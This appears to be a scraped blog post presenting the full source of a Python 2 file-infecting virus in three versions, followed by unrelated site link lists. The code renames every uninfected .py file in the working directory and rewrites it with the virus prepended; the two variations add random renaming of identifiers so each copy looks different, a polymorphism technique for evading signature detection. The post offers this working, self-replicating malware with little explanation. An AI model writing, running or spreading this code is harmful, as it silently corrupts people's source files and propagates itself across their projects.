Basic Virus's Infection & Variation [Python]
Learn from here
Initial
#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def infect(filename):
os.rename(filename, filename + '~')
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
for line in this:
destination.write(line)
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
destination.write(line)
source.close()
destination.close()
this.close()
def is_infected(filename):
f = open(filename, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def find_and_infect_files():
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
infect(filename)
find_and_infect_files()
print "---------------------------this is silly python virus-----------------"
#MAGIC_STRING_9348788nkmsd
Variation 1
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def infect(filename):
os.rename(filename, filename + "~")
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
mutations = init_mutation()
for line in this:
destination.write(mutate(line, mutations))
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
destination.write(line)
source.close()
destination.close()
this.close()
def is_infected(filename):
f = open(filename, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def mutate(line, mutations):
for k, v in mutations.iteritems():
line = line.replace(k, v)
return line
def init_mutation():
original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
'is_infected', 'infect', 'randstring', 'destination', 'mutate',
'randstring', 'original', 'mutations']
mutated = []
for o in original:
mutated.append((o, rand_string(len(o))))
return dict(mutated)
def rand_string(length):
randstring = ''
for i in range(0, length):
randstring += chr(random.randint(97, 122))
return randstring
def find_and_infect_files():
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
infect(filename)
find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd
Variation 2
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def tnjjel(ptphbids):
os.rename(ptphbids, ptphbids + "~")
buszvmkioof = open(ptphbids, "w")
source = open(ptphbids + "~", "r")
this = open(__main__.__file__, "r")
ontsgrefv = puezajbvokbom()
for line in this:
buszvmkioof.write(vgaisf(line, ontsgrefv))
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
buszvmkioof.write(line)
source.close()
buszvmkioof.close()
this.close()
def is_tnjjeled(ptphbids):
f = open(ptphbids, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def vgaisf(line, ontsgrefv):
for k, v in ontsgrefv.iteritems():
line = line.replace(k, v)
return line
def puezajbvokbom():
slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
vgaisfd = []
for o in slrxwwms:
vgaisfd.append((o, rand_string(len(o))))
return dict(vgaisfd)
def rand_string(length):
qebmtybcrm = ''
for i in range(0, length):
qebmtybcrm += chr(random.randint(97, 122))
return qebmtybcrm
def find_and_tnjjel_files():
path = "."
dirs = os.listdir(path)
for ptphbids in dirs:
if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
tnjjel(ptphbids)
find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd
Bingo !
Basic Virus's Infection & Variation [Python]的更多相关文章
- 【Python】【Basic】MacOS上搭建Python开发环境
1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...
- 【LeetCode】224. Basic Calculator 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...
- Python基础知识(Basic knowledge)
Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...
- Python初学基础
初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...
- 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)
6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...
- 【310】◀▶ Python 日期和时间
参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...
- 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!
学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...
- python网络框架Twisted
什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...
- 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索
[test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...
随机推荐
- Android基于mAppWidget实现手绘地图(五)--如何创建地图资源
地图资源可以通过Slicing Tool工具生成,教程如下: 1.打开Eclipse标准版4.3.2,以Java项目形式导入”slicingtool“项目,运行.(必须是eclipse4.3.2及以上 ...
- impdp导入报错ORA-14460: only one COMPRESS or NOCOMPRESS clause may be specified
迁移环境 源:Solaris 10 + Oracle 11.2.0.3 目标:Solaris 10 + Oracle 11.2.0.1 导出命令: expdp user/pwd directory=j ...
- CentOS7 Nexus安装
CentOS7 Nexus安装 CentOS7 Nexus安装 Download 从Nexus下载nexus-2.11.2-03-bundle.tar.gz Install 安装 上传RPM文件到/t ...
- 基于HTML5快速搭建3D机房设备面板
以真实设备为模型,搭建出设备面板,并实时获取设备运行参数,显示在设备面板上,这相比于纯数值的设备监控系统显得更加生动直观.今天我们就在HT for Web的3D技术上完成设备面板的搭建. 我们今天模拟 ...
- 基于HTML5技术的电力3D监控应用(一)
最近参与了国网计量中心的四线一库自动化检定系统的项目开发,团队封闭开发了大半年终于快到尾声了,整个项目过程实在非常累,我的mentor杨杨老师是这样描述的:累的不想说话了.我估计是我太渴望新知识,整天 ...
- HBase相关
hadoop和hbase节点添加和单独重启 有时候hadoop或hbase集群运行时间久了后,某些节点就会失效,这个时候如果不想重启整个集群(这种情况在很多情况下已经不被允许),这个时候可以单独重启失 ...
- 记一个同时支持模糊匹配和静态推导的Atom语法补全插件的开发过程: 序
简介 过去的一周,都睡的很晚,终于做出了Atom上的APICloud语法提示与补全插件:apicloud_autocomplete.个中滋味,感觉还是有必要记录下来的.代码基于 GPL-3.0 开源, ...
- 番外特别篇之 为什么我不建议你直接使用UIImage传值?--从一个诡异的相册九图连读崩溃bug谈起
关于"番外特别篇" 所谓"番外特别篇",就是系列文章更新期间内,随机插入的一篇文章.目前我正在更新的系列文章是 实现iOS图片等资源文件的热更新化.但是,这两天 ...
- OpenJudge 2985数字组合 解析报告/DP
2985:数字组合 总时间限制: 1000ms 内存限制: 65536kB 描述 有n个正整数,找出其中和为t(t也是正整数)的可能的组合方式.如:n=5,5个数分别为1,2,3,4,5,t=5: ...
- 个人作业-Week2:案例分析
截止时间:2016年9月25日24:00. 很多同学有误解,软件工程课是否就是理论课?或者是几个牛人拼命写代码,其他人打酱油的课?要不然就是学习一个程序语言,搞一个职业培训的课? 都不对, 软件工程有 ...